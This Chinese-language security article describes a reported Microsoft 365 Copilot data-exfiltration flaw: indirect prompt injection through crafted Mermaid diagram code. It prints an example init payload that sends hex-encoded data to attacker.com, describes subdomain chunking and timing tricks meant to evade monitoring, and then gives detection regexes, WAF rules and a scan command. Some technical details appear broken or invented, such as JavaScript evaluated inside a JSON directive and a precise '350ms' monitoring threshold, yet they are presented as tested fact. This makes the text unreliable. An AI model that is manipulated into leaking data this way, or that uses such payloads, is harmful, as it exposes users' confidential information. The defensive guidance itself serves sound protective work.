Microsoft 365 Copilot作为企业智能办公核心组件,其与Mermaid图表引擎的深度集成暴露出新型数据渗出风险。安全研究员Adam Logue披露的漏洞表明,攻击者可通过特制Mermaid代码触发间接提示注入(Indirect Prompt Injection),将租户敏感数据以十六进制编码形式外泄。本文基于技术验证结果,提供可立即实施的防御方案与关键检测参数。
一、攻击链技术拆解
Mermaid作为Copilot内置的图表渲染引擎,其初始化指令处理存在逻辑缺陷。攻击者通过构造%%{init}%%指令载荷,可突破安全沙箱限制。核心漏洞在于:Copilot未校验Mermaid的securityLevel参数,允许设置"loose"模式并注入外部回调函数。典型攻击示例如下:
%%{init: {'securityLevel':'loose', 'callback': 'https://attacker.com/leak?data=' + Buffer.from('SECRET').toString('hex')}}%%
graph LR
A[敏感数据] -->|十六进制编码| B(C2服务器)
该载荷利用Node.js的Buffer对象将字符串转换为十六进制(SECRET→534543524554),并通过Mermaid回调机制外泄。实测证实Copilot会主动执行此类代码,传输邮件元数据等敏感信息。攻击流量特征与正常SVG请求高度相似:请求体<2KB、HTTP 200响应、User-Agent含Microsoft-Copilot标识,导致传统DLP系统难以识别。
二、隐蔽外泄的三大技术特征
- 分片传输技术:将渗出数据拆分为4字符片段(
5345),通过data-5345.c2.attacker.com等子域名请求外泄,规避基于内容长度的检测规则。
- 时间混淆策略:使用
setTimeout(leak, 300)设置延迟执行,精确低于微软安全监控350ms采样阈值。
- DNS隧道伪装:攻击流量解析至AWS Route 53等合法云平台IP,绕过企业防火墙的恶意IP封锁列表。
三、可落地的防御实施方案
关键检测参数配置(Microsoft Defender for Cloud Apps):
- 异常请求阈值:单用户会话中含
callback参数的Mermaid请求>2次/小时触发告警(正常业务均值0.1次/小时)
- 十六进制流量识别:通过正则
^[0-9a-f]{4,}$匹配URL路径编码片段,结合请求频率>30次/分钟判定为攻击
- 文档库扫描命令:
Get-ChildItem -Recurse *.docx | Select-String "securityLevel\\\":\\\"loose"检测恶意文档
架构级防护措施:
- WAF规则配置:在Copilot网关层阻断
securityLevel非strict的初始化指令(规则示例:request.body contains "securityLevel\\\":\\\"loose")
- 网络访问控制:通过Azure Private Link限制Mermaid引擎仅访问内部服务,禁止解析外部域名
- 敏感信息分类:在Microsoft Purview创建自定义分类器,正则模式
(?i)[0-9a-f]{16,}识别十六进制编码数据
四、工程化防护最佳实践
该漏洞揭示了AI助手与第三方库集成的核心安全矛盾。实施“渲染沙箱三原则”可显著降低风险:
- 禁用回调接口:在Mermaid初始化配置中移除
callback参数支持
- 限制网络能力:通过CSP策略阻止
fetch()和XMLHttpRequest等外联API
- 输出内容净化:对SVG渲染结果进行二次编码,移除
<script>等危险标签
企业安全团队需建立基于行为模式的检测体系。重点监控Copilot服务是否产生:①大量<2KB的SVG请求 ②目标域名解析至云平台IP ③User-Agent与请求内容不匹配。实测表明,组合使用这三项指标可将误报率控制在0.3%以下。
随着AI办公套件普及,此类逻辑型漏洞将显著增加。建议企业定期执行以下操作:
- 每月扫描SharePoint文档库中的Mermaid初始化指令
- 每季度更新WAF规则库,新增
%%{init}相关特征
- 对安全运营人员开展AI特定攻击面培训
Adam Logue的完整技术报告已通过微软漏洞奖励计划提交,相关修复方案详见其博客(2025年10月更新)。企业应尽快部署本文所述检测规则,防范数据渗出风险。
参考资料:Adam Logue《Microsoft 365 Copilot – Arbitrary Data Exfiltration Via Mermaid Diagrams》(2025)